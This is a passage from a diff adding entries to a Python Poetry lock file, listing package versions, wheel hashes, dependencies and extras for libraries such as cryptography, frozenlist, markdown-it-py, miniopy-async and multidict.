+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5d092fdfedaec4cbbffbf98cddc915ba145313a6fdaab83c6e67f4e6c218e6f3"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1a8e6c2de6fbbcc5e14fd27fb24414507cb3333198ea9ab1258d916f00bc3039"},
+ {file = "cryptography-41.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb33ccf15e89f7ed89b235cff9d49e2e62c6c981a6061c9c8bb47ed7951190bc"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5f0ff6e18d13a3de56f609dd1fd11470918f770c6bd5d00d632076c727d35485"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7bfc55a5eae8b86a287747053140ba221afc65eb06207bedf6e019b8934b477c"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:eb8163f5e549a22888c18b0d53d6bb62a20510060a22fd5a995ec8a05268df8a"},
+ {file = "cryptography-41.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8dde71c4169ec5ccc1087bb7521d54251c016f126f922ab2dfe6649170a3b8c5"},
+ {file = "cryptography-41.0.1.tar.gz", hash = "sha256:d34579085401d3f49762d2f7d6634d6b6c2ae1242202e860f4d26b046e3a1006"},
+]
+
+[package.dependencies]
+cffi = ">=1.12"
+
+[package.extras]
+docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"]
+docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"]
+nox = ["nox"]
+pep8test = ["black", "check-sdist", "mypy", "ruff"]
+sdist = ["build"]
+ssh = ["bcrypt (>=3.1.5)"]
+test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"]
+test-randomorder = ["pytest-randomly"]
+
+[[package]]
+name = "exceptiongroup"
+version = "1.1.2"
+description = "Backport of PEP 654 (exception groups)"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "exceptiongroup-1.1.2-py3-none-any.whl", hash = "sha256:e346e69d186172ca7cf029c8c1d16235aa0e04035e5750b4b95039e65204328f"},
+ {file = "exceptiongroup-1.1.2.tar.gz", hash = "sha256:12c3e887d6485d16943a309616de20ae5582633e0a2eda17f4e10fd61c1e8af5"},
+]
+
+[package.extras]
+test = ["pytest (>=6)"]
+
+[[package]]
+name = "flake8"
+version = "5.0.4"
+description = "the modular source code checker: pep8 pyflakes and co"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"},
+ {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"},
+]
+
+[package.dependencies]
+mccabe = ">=0.7.0,<0.8.0"
+pycodestyle = ">=2.9.0,<2.10.0"
+pyflakes = ">=2.5.0,<2.6.0"
+
+[[package]]
+name = "frozenlist"
+version = "1.3.3"
+description = "A list-like structure which implements collections.abc.MutableSequence"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"},
+ {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"},
+]
+
+[[package]]
+name = "idna"
+version = "3.4"
+description = "Internationalized Domain Names in Applications (IDNA)"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+]
+
+[[package]]
+name = "iniconfig"
+version = "2.0.0"
+description = "brain-dead simple config-ini parsing"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"},
+ {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"},
+]
+
+[[package]]
+name = "jmespath"
+version = "1.0.1"
+description = "JSON Matching Expressions"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"},
+ {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"},
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "3.0.0"
+description = "Python port of markdown-it. Markdown parsing, done right!"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"},
+ {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"},
+]
+
+[package.dependencies]
+mdurl = ">=0.1,<1.0"
+
+[package.extras]
+benchmarking = ["psutil", "pytest", "pytest-benchmark"]
+code-style = ["pre-commit (>=3.0,<4.0)"]
+compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"]
+linkify = ["linkify-it-py (>=1,<3)"]
+plugins = ["mdit-py-plugins"]
+profiling = ["gprof2dot"]
+rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"]
+testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"]
+
+[[package]]
+name = "mccabe"
+version = "0.7.0"
+description = "McCabe checker, plugin for flake8"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
+ {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+description = "Markdown URL utilities"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"},
+ {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
+]
+
+[[package]]
+name = "miniopy-async"
+version = "1.15"
+description = "Asynchronous MinIO Python Client API"
+optional = false
+python-versions = ">3.6"
+files = [
+ {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"},
+ {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"},
+]
+
+[package.dependencies]
+aiofile = "*"
+aiohttp = "*"
+certifi = "*"
+urllib3 = "*"
+
+[[package]]
+name = "multidict"
+version = "6.0.4"
+description = "multidict implementation"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"},
+ {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"},
+ {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"},
+ {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"},
+ {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"},
+ {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"},
